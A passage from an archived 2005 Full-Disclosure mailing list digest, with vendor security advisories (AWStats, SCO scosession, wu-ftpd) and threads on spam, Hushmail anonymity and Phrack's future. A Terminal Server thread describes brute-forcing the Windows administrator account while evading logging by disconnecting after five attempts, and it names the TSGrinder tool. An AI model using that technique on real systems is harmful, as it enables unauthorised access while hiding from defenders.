07/01/2005 - Vulnerability found 07/01/2005 - Vendor contacted 08/01/2005 - Vendor replied confirming bug 18/01/2005 - New version released 25/01/2005 - Advisory released -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFB9pIg3RWooxY20cIRAtDzAKCCr/Uh64X4NaCXvFgjTUaHn0l7aQCZARDF 1l2Zx92XmzX+j825gG871AY= =waZY -----END PGP SIGNATURE----- From xyberpix at xyberpix.com Tue Jan 25 19:48:54 2005 From: xyberpix at xyberpix.com (xyberpix) Date: Tue, 25 Jan 2005 19:48:54 +0000 Subject: [Full-Disclosure] SMTP Spam Attempt? In-Reply-To: <41EE2606.1020000@thompsonmike.co.uk> References: <41EE2606.1020000@thompsonmike.co.uk> Message-ID: <25174130-6F0A-11D9-BC75-000D93B5315A@xyberpix.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Just to let you know we had the same thing at work this last w/end, we had something in the range of 1.4 million spam mails hit the mail server in 24 hours. Anyone else seen this? Going to check incidents now. xyberpix On 19 Jan 2005, at 09:19, Michael Thompson wrote: > For the past hour I have just watched over 200 dialup machines from > all over the world attemp to connect to my Mailserver > > They were all rejected like the following > > Jan 19 09:05:07 polaris postfix/smtpd[24494]: warning: Illegal address > syntax from host195-202.pool82191.interbusiness.it[82.191.202.195] in > MAIL command: @ > > This lasted for about a hour. All I can think of is that I was picked > on by some script/virus/Trojan looking to spam. > > Any Views? > -- > > > Mike > > http://www.thompsonmike.co.uk > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > For Security And Open Source News And Info Visit: http://www.xyberpix.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (Darwin) iD8DBQFB9qKmcRMkOnlkwMERAuQzAJ98zRiDTtr1rllqESwIA3An/YLhIQCggGsf TVAec1PXTmVjHlJuDgDLMxQ= =AN7P -----END PGP SIGNATURE----- From aditya.deshmukh at online.gateway.expertworks.net Tue Jan 25 20:04:27 2005 From: aditya.deshmukh at online.gateway.expertworks.net (ALD, Aditya, Aditya Lalit Deshmukh) Date: Wed, 26 Jan 2005 01:34:27 +0530 Subject: [Full-Disclosure] Mirroring procfs. In-Reply-To: <20050125085839.2912.qmail@webmail31.rediffmail.com> Message-ID: _____ From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of preeth k Sent: Tuesday, January 25, 2005 02:29 PM To: full-disclosure at lists.netsys.com Subject: [Full-Disclosure] Mirroring procfs. Sir, I work on Redhat Linux and we want to know if there is any method to mirror the '/proc' filesystem on one machine-A to another machine-B so as to monitor all the events occuring in A using machine-B. Preeth. [ALD > ] Well you could run a cron job every 5 secs or so that will do "cp -r /proc /somedir" and then tar and upload it to some where on machine b where you could write a shell / perl script doing all the monitoring of the system for you -Aditya -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050126/9a2274eb/attachment.html From lewk at gentoo.org Tue Jan 25 20:13:13 2005 From: lewk at gentoo.org (Luke Macken) Date: Tue, 25 Jan 2005 15:13:13 -0500 Subject: [Full-Disclosure] [ GLSA 200501-36 ] AWStats: Remote code execution Message-ID: <20050125201313.GA8733@tomservo.ne1.client2.attbi.c> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-36 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: High Title: AWStats: Remote code execution Date: January 25, 2005 Bugs: #77963 ID: 200501-36 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== AWStats fails to validate certain input, which could lead to the remote execution of arbitrary code. Background ========== AWStats is an advanced log file analyzer and statistics generator. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 net-www/awstats < 6.3 >= 6.3 Description =========== When 'awstats.pl' is run as a CGI script, it fails to validate specific inputs which are used in a Perl open() function call. Impact ====== A remote attacker could supply AWStats malicious input, potentially allowing the execution of arbitrary code with the rights of the web server. Workaround ========== Making sure that AWStats does not run as a CGI script will avoid the issue, but we recommend that users upgrade to the latest version, which fixes these bugs. Resolution ========== All AWStats users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-www/awstats-6.3" References ========== [ 1 ] AWStats ChangeLog http://awstats.sourceforge.net/docs/awstats_changelog.txt [ 2 ] iDEFENSE Advisory http://www.idefense.com/application/poi/display?id=185 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-36.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050125/6f0665bd/attachment.bin From xyberpix at xyberpix.com Tue Jan 25 20:34:01 2005 From: xyberpix at xyberpix.com (xyberpix) Date: Tue, 25 Jan 2005 20:34:01 +0000 Subject: [Full-Disclosure] Phrack is dead, long live Phrack! In-Reply-To: References: Message-ID: <72494E50-6F10-11D9-BC75-000D93B5315A@xyberpix.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I really have to agree with starwars on this one, I have been reading Phrack for years now, c'mon people even if a few groups are not willing to try an publish Phrack for everyone to vote on, why don't a few of us get together and keep Phrack going? Anyone who's interested in keeping this part of all our lives in one way or another alive, mail me off the list and lets make this happen. xyberpix On 23 Jan 2005, at 09:45, starwars wrote: > > After several years of steady decline in the wrong hands, maybe it is > too late to save Phrack. But I think we owe something back to the zine > that gave us so much. Many us were drawn into computer security by > Phrack, grew up along with it, and were nourished by the high quality > papers of it's contributors. > > The current editors of Phrack have decided to kill off Phrack for > good. This is an outrage. Phrack has always purported to be for the > community by the community. They have no right to kill off nearly > twenty years of tradition. > > Despite it's poor performance of late, Phrack still has > an unparalleled and awesome record as a technical source you can really > bite your teeth into. It's also had a major cultural impact over the > years: > > "You bet your ass we're all alike... we've been spoon-fed baby food at > school when we hungered for steak... the bits of meat that you did let > slip through were pre-chewed and tasteless. We've been dominated by > sadists, or ignored by the apathetic. The few that had something to > teach found us willing pupils, but those few are like drops of water > in the desert. > ... > Yes, I am a criminal. My crime is that of curiosity. My crime is that > of judging people by what they say and think, not what they look like. > My crime is that of outsmarting you, something that you will never > forgive me for. > " > > -- A hacker's manifesto, the Mentor, 1986 > > The current "anonymous" batch editors have outgrown the zine. They > were a bad choice to begin with, but regardless, that's happened to > phrack before. On a regular basis. Every generation or so passes on > phrack to the next. It's tradition. > > What's different about the current batch of editors was their intense > arrogance and unusualy patronizing attitude towards the scene. Phrack > hasn't been about the computer underground for years. The last ten > years have turned Phrack into a prestigious journal for security > research. > > The anarchistic underground roots of phrack have been whitewashed away > by the latest batch of editors. Go and read the issues from 1980s, > early 90s. > > The reason this happened was that when the scene moved to the Internet > in the mid 90s the MIT hacker memes battled it out against "war games" > hacker meme of the 80s. Hacker still has an 80s meaning for the > general public, but the MIT hacker meme clearly won amongst the > technically savy. The "cracker" and "script kiddy" memes were part of > a process that turned Phrack's underground past into an embarrassment. > > So Phrack gradually turned against it's own roots. It's not for the > hacker community by the hacker community anymore. Far from it. The > current incarnation of Phrack actually spreads hypocritical > anti-hacker memes between it's covers. It's BY > $150-an-hour-security-consultants FOR > our-reputation-in-the-security-industry. > > Phrack has been hijacked by sellouts. > > Aside from their snobbish elitist attitude, what have the recent > editors of Phrack contributed? The articles are written by others. Try > reading the "loopback" section written by the Phrack editors sometime. > Degrading newbies never gets old for these guys. Ha ha! you're all so > stupid! We're so uber elite! > > So now what's happened is that these guys are so old school, so > been-there-done-that, patronizing assholes that they've decided it's > time for Phrack to die rather than evolve. > > Here's an alternative to killing off a 20 year tradition: run a > competition amongst would-be editors who can publish the best next > issue of phrack. Then allow the PUBLIC to vote amongst alternatives as > to whom succeeds the current editors. > > The team that manages to hack together the best edition of phrack 64 > wins. > > Phrack is dead. Long live phrack! > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > For Security And Open Source News And Info Visit: http://www.xyberpix.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (Darwin) iD8DBQFB9q05cRMkOnlkwMERAoHmAJ9x62fwGEj7Q0ChRmegS1HwtdMPwQCePZkB qAoFkYFA8iaoHpQJ1JjHdH4= =adde -----END PGP SIGNATURE----- From purdy at tecman.com Tue Jan 25 20:38:30 2005 From: purdy at tecman.com (Curt Purdy) Date: Tue, 25 Jan 2005 14:38:30 -0600 Subject: [lists] [Full-Disclosure] Terminal Server vulnerabilities In-Reply-To: <190DFDD2F99A65469B4B15D3658C0D2BC5A495@ptc6.ponderosatel.com> Message-ID: <200501251439531.SM02472@wolfcub3kv> Daniel Sichel wrote: > Naturally I > don't like this answer because of horror stories I have heard > about Terminal server. They claim there are no unfixed > vulnerabilities to Terminal Server on Windows Server 2000 > Service Pack 4. The problem with terminal server is not any vulnerablities that can be exploited, but the fact that administrator can be bruteforced (6 attempts followed by reconnect) and that it is screaming its existence on port 3889. If you use it, definitely change the port in the registry. Curt Purdy CISSP, GSEC, CNE, MCSE+I, CCDA Information Security Engineer DP Solutions ----------------------------- If you spend more on coffee than on IT security, you will be hacked. What's more, you deserve to be hacked. -- former White House cybersecurity czar Richard Clarke From temp739 at yahoo.com Tue Jan 25 20:43:56 2005 From: temp739 at yahoo.com (Pseudo Nym) Date: Tue, 25 Jan 2005 12:43:56 -0800 (PST) Subject: [Full-Disclosure] hushmail.com, is this true? In-Reply-To: <200501251747.j0PHlgen017129@turing-police.cc.vt.edu> Message-ID: <20050125204356.77574.qmail@web61205.mail.yahoo.com> Thank you Valdis, you were spot on. I'm sorry, I must have been misunderstood, my main concern IS a blunt legal object being used against hushmail to find my identity. Without contact with their staff there is no way to prove their claim that their log files do not correlate IP addresses to e-mail addresses. I wanted to know if anyone on the list has had experiences with them that would support this claim (that hushmail does not know their own user's IPs). I'm sorry I came off as harsh to Mr. Smith but when I saw his email addy was "stfunub" I got a little carried away. I thought it would be ironic. :-). And Atte, I am not posting from my IP address as I am aware Yahoo leaks that information. Again, any information related to this claim of their's would be very helpful. --- Valdis.Kletnieks at vt.edu wrote: > On Tue, 25 Jan 2005 11:22:25 CST, > Bart.Lansing at kohls.com said: > > Figuring out what correlating information is in the > headers of the mail isn't > rocket science. > > Figuring out what correlating information is left in > the various logfiles on > the hushmail servers *is* rocket science for those > who aren't hushmail staff. > > In fact, I'm fairly sure that "hushmail tells you > what is in their logfiles" is > the only legal way to do it (of course, getting them > to tell you will likely > require the use of a subpoena or other legalistic > blunt weapon...) __________________________________ Do you Yahoo!? Yahoo! Mail - Helps protect you from nasty viruses. http://promotions.yahoo.com/new_mail From swtornio at mac.com Tue Jan 25 21:28:48 2005 From: swtornio at mac.com (Steve Tornio) Date: Tue, 25 Jan 2005 15:28:48 -0600 Subject: [lists] [Full-Disclosure] Terminal Server vulnerabilities In-Reply-To: <200501251439531.SM02472@wolfcub3kv> References: <200501251439531.SM02472@wolfcub3kv> Message-ID: <19E8C280-6F18-11D9-AC3D-000393C92756@mac.com> On Jan 25, 2005, at 2:38 PM, Curt Purdy wrote: > Daniel Sichel wrote: > >> Naturally I >> don't like this answer because of horror stories I have heard >> about Terminal server. They claim there are no unfixed >> vulnerabilities to Terminal Server on Windows Server 2000 >> Service Pack 4. > > The problem with terminal server is not any vulnerablities that can be > exploited, but the fact that administrator can be bruteforced (6 > attempts > followed by reconnect) and that it is screaming its existence on port > 3889. > If you use it, definitely change the port in the registry. Of course, one of the very first things you should do on a Windows box is rename the administrator account, so this kind of blind brute-forcing is not possible. Also, the problem you describe can be exacerbated in that administrator can be brute-forced without creating a log entry, by attempting 5 logons and disconnecting before Windows disconnects and logs after the sixth failure. This was covered in a talk at Black Hat 2003, when Ryan Russell and Tim Mullens released TSGrinder. I don't know if they continued work on it. From hackerwacker at cybermesa.com Tue Jan 25 21:51:07 2005 From: hackerwacker at cybermesa.com (james edwards) Date: Tue, 25 Jan 2005 14:51:07 -0700 Subject: [Full-Disclosure] hushmail.com, is this true? References: <20050125204356.77574.qmail@web61205.mail.yahoo.com> Message-ID: <023101c50327$f9a8bc00$0200020a@jamesnew> > Thank you Valdis, you were spot on. I'm sorry, I must > have been misunderstood, my main concern IS a blunt > legal object being used against hushmail to find my > identity. No business can ignore a judges orders to produce whatever required information. The business can contest the request but if it is proven out the information must be produced. If you are really concerned about your privacy, and not just wasting our time, then never assume or expect another to protect your privacy. There are many techniques out there to remain anonymous. Any system that relies on just one free service to ensure privacy is useless. j From msh at datakill.us Tue Jan 25 22:04:47 2005 From: msh at datakill.us (msh at datakill) Date: Tue, 25 Jan 2005 17:04:47 -0500 Subject: [Full-Disclosure] Phrack is dead, long live Phrack! In-Reply-To: <72494E50-6F10-11D9-BC75-000D93B5315A@xyberpix.com> References: <72494E50-6F10-11D9-BC75-000D93B5315A@xyberpix.com> Message-ID: <20050125220447.GA7310@datakill.us> I totally disagree. I think that Phrack.org was a bunch of watered down old bullshit. If "Long Live" anything, Long Live pHC. whiteh8 f0' lyfE On Tue, Jan 25, 2005 at 08:34:01PM +0000, xyberpix wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I really have to agree with starwars on this one, I have been reading > Phrack for years now, c'mon people even if a few groups are not willing > to try an publish Phrack for everyone to vote on, why don't a few of us > get together and keep Phrack going? Anyone who's interested in keeping > this part of all our lives in one way or another alive, mail me off the > list and lets make this happen. > > xyberpix > > On 23 Jan 2005, at 09:45, starwars wrote: > > > > >After several years of steady decline in the wrong hands, maybe it is > >too late to save Phrack. But I think we owe something back to the zine > >that gave us so much. Many us were drawn into computer security by > >Phrack, grew up along with it, and were nourished by the high quality > >papers of it's contributors. > > > >The current editors of Phrack have decided to kill off Phrack for > >good. This is an outrage. Phrack has always purported to be for the > >community by the community. They have no right to kill off nearly > >twenty years of tradition. > > > >Despite it's poor performance of late, Phrack still has > >an unparalleled and awesome record as a technical source you can really > >bite your teeth into. It's also had a major cultural impact over the > >years: > > > >"You bet your ass we're all alike... we've been spoon-fed baby food at > >school when we hungered for steak... the bits of meat that you did let > >slip through were pre-chewed and tasteless. We've been dominated by > >sadists, or ignored by the apathetic. The few that had something to > >teach found us willing pupils, but those few are like drops of water > >in the desert. > >... > >Yes, I am a criminal. My crime is that of curiosity. My crime is that > >of judging people by what they say and think, not what they look like. > >My crime is that of outsmarting you, something that you will never > >forgive me for. > >" > > > >-- A hacker's manifesto, the Mentor, 1986 > > > >The current "anonymous" batch editors have outgrown the zine. They > >were a bad choice to begin with, but regardless, that's happened to > >phrack before. On a regular basis. Every generation or so passes on > >phrack to the next. It's tradition. > > > >What's different about the current batch of editors was their intense > >arrogance and unusualy patronizing attitude towards the scene. Phrack > >hasn't been about the computer underground for years. The last ten > >years have turned Phrack into a prestigious journal for security > >research. > > > >The anarchistic underground roots of phrack have been whitewashed away > >by the latest batch of editors. Go and read the issues from 1980s, > >early 90s. > > > >The reason this happened was that when the scene moved to the Internet > >in the mid 90s the MIT hacker memes battled it out against "war games" > >hacker meme of the 80s. Hacker still has an 80s meaning for the > >general public, but the MIT hacker meme clearly won amongst the > >technically savy. The "cracker" and "script kiddy" memes were part of > >a process that turned Phrack's underground past into an embarrassment. > > > >So Phrack gradually turned against it's own roots. It's not for the > >hacker community by the hacker community anymore. Far from it. The > >current incarnation of Phrack actually spreads hypocritical > >anti-hacker memes between it's covers. It's BY > >$150-an-hour-security-consultants FOR > >our-reputation-in-the-security-industry. > > > >Phrack has been hijacked by sellouts. > > > >Aside from their snobbish elitist attitude, what have the recent > >editors of Phrack contributed? The articles are written by others. Try > >reading the "loopback" section written by the Phrack editors sometime. > >Degrading newbies never gets old for these guys. Ha ha! you're all so > >stupid! We're so uber elite! > > > >So now what's happened is that these guys are so old school, so > >been-there-done-that, patronizing assholes that they've decided it's > >time for Phrack to die rather than evolve. > > > >Here's an alternative to killing off a 20 year tradition: run a > >competition amongst would-be editors who can publish the best next > >issue of phrack. Then allow the PUBLIC to vote amongst alternatives as > >to whom succeeds the current editors. > > > >The team that manages to hack together the best edition of phrack 64 > >wins. > > > >Phrack is dead. Long live phrack! > > > >_______________________________________________ > >Full-Disclosure - We believe in it. > >Charter: http://lists.netsys.com/full-disclosure-charter.html > > > For Security And Open Source News And Info Visit: > http://www.xyberpix.com > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.2.4 (Darwin) > > iD8DBQFB9q05cRMkOnlkwMERAoHmAJ9x62fwGEj7Q0ChRmegS1HwtdMPwQCePZkB > qAoFkYFA8iaoHpQJ1JjHdH4= > =adde > -----END PGP SIGNATURE----- > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > > -- _________________________ | | | http://datakill.us | | irc.datakill.us #dkchat | |_________________________| From toddtowles at brookshires.com Tue Jan 25 22:06:02 2005 From: toddtowles at brookshires.com (Todd Towles) Date: Tue, 25 Jan 2005 16:06:02 -0600 Subject: [lists] [Full-Disclosure] Terminal Server vulnerabilities Message-ID: <9E97F0997FB84D42B221B9FB203EFA277B5890@dc1ms2.msad.brookshires.net> I agree, renamed the Admin account and create a fake Admin account, put very good logging on it. Because any attempts on this account would be attacks. > -----Original Message----- > From: full-disclosure-bounces at lists.netsys.com > [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf > Of Steve Tornio > Sent: Tuesday, January 25, 2005 3:29 PM > To: full-disclosure at lists.netsys.com > Subject: Re: [lists] [Full-Disclosure] Terminal Server vulnerabilities > > > On Jan 25, 2005, at 2:38 PM, Curt Purdy wrote: > > > Daniel Sichel wrote: > > > >> Naturally I > >> don't like this answer because of horror stories I have > heard about > >> Terminal server. They claim there are no unfixed > vulnerabilities to > >> Terminal Server on Windows Server 2000 Service Pack 4. > > > > The problem with terminal server is not any vulnerablities > that can be > > exploited, but the fact that administrator can be bruteforced (6 > > attempts followed by reconnect) and that it is screaming > its existence > > on port 3889. > > If you use it, definitely change the port in the registry. > > Of course, one of the very first things you should do on a > Windows box is rename the administrator account, so this kind > of blind brute-forcing is not possible. > > Also, the problem you describe can be exacerbated in that > administrator can be brute-forced without creating a log > entry, by attempting 5 logons and disconnecting before > Windows disconnects and logs after the sixth failure. This > was covered in a talk at Black Hat 2003, when Ryan Russell > and Tim Mullens released TSGrinder. I don't know if they > continued work on it. > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > From Valdis.Kletnieks at vt.edu Tue Jan 25 22:13:10 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Tue, 25 Jan 2005 17:13:10 -0500 Subject: [Full-Disclosure] hushmail.com, is this true? In-Reply-To: Your message of "Tue, 25 Jan 2005 14:51:07 MST." <023101c50327$f9a8bc00$0200020a@jamesnew> References: <20050125204356.77574.qmail@web61205.mail.yahoo.com> <023101c50327$f9a8bc00$0200020a@jamesnew> Message-ID: <200501252213.j0PMDA9Y009426@turing-police.cc.vt.edu> On Tue, 25 Jan 2005 14:51:07 MST, james edwards said: > No business can ignore a judges orders to produce whatever required > information. > The business can contest the request but if it is proven out the information > must be produced. So tell me - what do you do when you get served a subpoena requesting all your records regarding the development of a specified drug by Pfeizer? Oh. You never *had* those records, because you don't keep them? I see.... ;) They can't force you to produce information you can prove you don't have... -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050125/15d6c967/attachment.bin From toddtowles at brookshires.com Tue Jan 25 22:28:13 2005 From: toddtowles at brookshires.com (Todd Towles) Date: Tue, 25 Jan 2005 16:28:13 -0600 Subject: [Full-Disclosure] hushmail.com, is this true? Message-ID: <9E97F0997FB84D42B221B9FB203EFA277B58AF@dc1ms2.msad.brookshires.net> I have to agree with James, If you are using Hushmail's free e-mail service and expecting that to hide you from the government, then you are in trouble. Mine as well keep e-mailing from your yahoo address anyways. You must assume all things log your IP address, even anon proxies. Which most do...but don't give your IP to the next computer. But tracing you is still possible, if the government in that region wanted to find you...they could. > -----Original Message----- > From: full-disclosure-bounces at lists.netsys.com > [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf > Of james edwards > Sent: Tuesday, January 25, 2005 3:51 PM > To: full-disclosure at lists.netsys.com > Subject: Re: [Full-Disclosure] hushmail.com, is this true? > > > Thank you Valdis, you were spot on. I'm sorry, I must have been > > misunderstood, my main concern IS a blunt legal object being used > > against hushmail to find my identity. > > No business can ignore a judges orders to produce whatever > required information. > The business can contest the request but if it is proven out > the information must be produced. > > If you are really concerned about your privacy, and not just > wasting our time, then never assume or expect another to > protect your privacy. There are many techniques out there to > remain anonymous. > Any system that relies on just one free service to ensure > privacy is useless. > > j > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > From please_reply_to_security at sco.com Tue Jan 25 23:30:00 2005 From: please_reply_to_security at sco.com (please_reply_to_security at sco.com) Date: Tue, 25 Jan 2005 15:30:00 -0800 Subject: [Full-Disclosure] OpenServer 5.0.6 OpenServer 5.0.7 : scosessoin local privilege elevation Message-ID: <20050125153000.A1715@caldera.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ______________________________________________________________________________ SCO Security Advisory Subject: OpenServer 5.0.6 OpenServer 5.0.7 : scosessoin local privilege elevation Advisory number: SCOSA-2005.5 Issue date: 2005 January 25 Cross reference: sr886719 fz528461 erg712476 CAN-2003-1021 ______________________________________________________________________________ 1. Problem Description A problem has been identified in the scosession program when handling strings on the commandline. Because of this, a local attacker may be able to gain elevated privileges. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2003-1021 to this issue. 2. Vulnerable Supported Versions System Binaries ---------------------------------------------------------------------- OpenServer 5.0.6 /usr/bin/X11/scosession OpenServer 5.0.7 /usr/bin/X11/scosession 3. Solution The proper solution is to install the latest packages. 4. OpenServer 5.0.6 4.1 First install oss646b or later 4.2 Location of oss646c ftp://ftp.sco.com/pub/openserver5/oss646c/ 4.3 Verification of oss646c MD5 (VOL.000.000) = f19b6c6949f615316bfb075d249989e8 MD5 (VOL.000.001) = 341ff8553aecd2c7b0c2beaf83030d0f MD5 (VOL.000.002) = 6e46708ad8029e12280d4f9ac60ab814 MD5 (VOL.000.003) = 2868b64a6a6db742adb3b485be645d7e MD5 (VOL.000.004) = 1696fe1db9bb063827ee5e76e58dff84 MD5 (VOL.000.005) = f39da342f8af72fcaccdf478dca04109 MD5 (VOL.000.006) = 2b31611c8af7d2e7910d6e8e3cf701a6 MD5 (VOL.000.007) = d0175c0f4e3ed29435b1eab95609f8f4 MD5 (VOL.000.008) = aa9e8a525c341fed077f981b1dacb486 MD5 (VOL.000.009) = 8e023af67b57507824406bdda322079a MD5 (VOL.000.010) = 2b46e8adba8ae0b64109f2069da978a2 4.4 Location of Fixed Binaries ftp://ftp.sco.com/pub/updates/OpenServer/SCOSA-2005.5 4.5 Verification MD5 (VOL.000.000) = 953b64f2a068cd188717ebf3c87e9aed md5 is available for download from ftp://ftp.sco.com/pub/security/tools 4.6 Installing Fixed Binaries Upgrade the affected binaries with the following sequence: 1) Download the VOL* files to a directory 2) Run the custom command, specify an install from media images, and specify the directory as the location of the images. 5. OpenServer 5.0.7 5.1 Location of Fixed Binaries ftp://ftp.sco.com/pub/updates/OpenServer/SCOSA-2005.5 The fixes are also available in SCO OpenServer Release 5.0.7 Maintenance Pack 3 or later. See http://www.sco.com/support/update/download/osr507list.html. 5.2 Verification MD5 (VOL.000.000) = 953b64f2a068cd188717ebf3c87e9aed md5 is available for download from ftp://ftp.sco.com/pub/security/tools 5.3 Installing Fixed Binaries Upgrade the affected binaries with the following sequence: 1) Download the VOL* files to a directory 2) Run the custom command, specify an install from media images, and specify the directory as the location of the images. 6. References Specific references for this advisory: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-1021 SCO security resources: http://www.sco.com/support/security/index.html SCO security advisories via email http://www.sco.com/support/forums/security.html This security fix closes SCO incidents sr886719 fz528461 erg712476. 7. Disclaimer SCO is not responsible for the misuse of any of the information we provide on this website and/or through our security advisories. Our advisories are a service to our customers intended to promote secure installation and use of SCO products. 8. Acknowledgments SCO would like to thank Joel Soderberg and Christer Oberg of Deprotect which describes itself as "a Swedish based security company divided into four divisions; Managed Security Services, Security Services, Products and Development and our Security Academy." ______________________________________________________________________________ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (SCO/UNIX_SVR5) iD8DBQFB9sbMaqoBO7ipriERAkLsAJkBk2Rj7JyuHwkb5PRgpb9bw9HzcgCgjyR/ DEBpdf0diDpDWD/Z1DpwXXY= =e+Kw -----END PGP SIGNATURE----- From please_reply_to_security at sco.com Tue Jan 25 23:30:15 2005 From: please_reply_to_security at sco.com (please_reply_to_security at sco.com) Date: Tue, 25 Jan 2005 15:30:15 -0800 Subject: [Full-Disclosure] OpenServer 5.0.6 OpenServer 5.0.7 : wu-ftp local users can bypass access restrictions Message-ID: <20050125153015.A1753@caldera.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ______________________________________________________________________________ SCO Security Advisory Subject: OpenServer 5.0.6 OpenServer 5.0.7 : wu-ftp local users can bypass access restrictions Advisory number: SCOSA-2005.6 Issue date: 2005 January 25 Cross reference: sr889579 fz528958 erg712568 CAN-2004-0148 ______________________________________________________________________________ 1. Problem Description wu-ftpd 2.6.2 and earlier, with the restricted-gid option enabled, allows local users to bypass access restrictions by changing the permissions to prevent access to their home directory, which causes wu-ftpd to use the root directory instead. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0148 to this issue. 2. Vulnerable Supported Versions System Binaries ---------------------------------------------------------------------- OpenServer 5.0.5 Not vulnerable OpenServer 5.0.6 /etc/ftpd OpenServer 5.0.7 /etc/ftpd 3. Solution The proper solution is to install the latest packages. 4. OpenServer 5.0.6 4.1 First install oss646b or later 4.2 Location of oss646c ftp://ftp.sco.com/pub/openserver5/oss646c/ 4.3 Verification of oss646c MD5 (VOL.000.000) = f19b6c6949f615316bfb075d249989e8 MD5 (VOL.000.001) = 341ff8553aecd2c7b0c2beaf83030d0f MD5 (VOL.000.002) = 6e46708ad8029e12280d4f9ac60ab814 MD5 (VOL.000.003) = 2868b64a6a6db742adb3b485be645d7e MD5 (VOL.000.004) = 1696fe1db9bb063827ee5e76e58dff84 MD5 (VOL.000.005) = f39da342f8af72fcaccdf478dca04109 MD5 (VOL.000.006) = 2b31611c8af7d2e7910d6e8e3cf701a6 MD5 (VOL.000.007) = d0175c0f4e3ed29435b1eab95609f8f4 MD5 (VOL.000.008) = aa9e8a525c341fed077f981b1dacb486 MD5 (VOL.000.009) = 8e023af67b57507824406bdda322079a MD5 (VOL.000.010) = 2b46e8adba8ae0b64109f2069da978a2 4.4 Location of Fixed Binaries ftp://ftp.sco.com/pub/updates/OpenServer/SCOSA-2005.6 4.5 Verification MD5 (VOL.000.000) = 713bab43a71937e8d9ab015de1335a26 md5 is available for download from ftp://ftp.sco.com/pub/security/tools 4.6 Installing Fixed Binaries Upgrade the affected binaries with the following sequence: 1) Download the VOL* files to a directory 2) Run the custom command, specify an install from media images, and specify the directory as the location of the images. 5. OpenServer 5.0.7 5.1 Location of Fixed Binaries ftp://ftp.sco.com/pub/updates/OpenServer/SCOSA-2005.6 The fixes are also available in SCO OpenServer Release 5.0.7 Maintenance Pack 3 or later. See http://www.sco.com/support/update/download/osr507list.html. 5.2 Verification MD5 (VOL.000.000) = 713bab43a71937e8d9ab015de1335a26 md5 is available for download from ftp://ftp.sco.com/pub/security/tools 5.3 Installing Fixed Binaries Upgrade the affected binaries with the following sequence: 1) Download the VOL* files to a directory 2) Run the custom command, specify an install from media images, and specify the directory as the location of the images. 6. References Specific references for this advisory: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0148 SCO security resources: http://www.sco.com/support/security/index.html SCO security advisories via email http://www.sco.com/support/forums/security.html This security fix closes SCO incidents sr889579 fz528958 erg712568. 7. Disclaimer SCO is not responsible for the misuse of any of the information we provide on this website and/or through our security advisories. Our advisories are a service to our customers intended to promote secure installation and use of SCO products. 8. Acknowledgments SCO would like to thank Glenn Stewart ______________________________________________________________________________ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (SCO/UNIX_SVR5) iD8DBQFB9scCaqoBO7ipriERApr6AJ4neuOABh8P56sZqup/nczeJU1CmACfbweU 9lBWAfSZmBP9vDgoIi4Egmk= =GUl/ -----END PGP SIGNATURE----- From hackerwacker at cybermesa.com Tue Jan 25 22:34:10 2005 From: hackerwacker at cybermesa.com (james edwards) Date: Tue, 25 Jan 2005 15:34:10 -0700 Subject: [Full-Disclosure] hushmail.com, is this true? References: <20050125204356.77574.qmail@web61205.mail.yahoo.com> <023101c50327$f9a8bc00$0200020a@jamesnew> <200501252213.j0PMDA9Y009426@turing-police.cc.vt.edu> Message-ID: <026001c5032d$fd4c39d0$0200020a@jamesnew> Your point ? From chows at 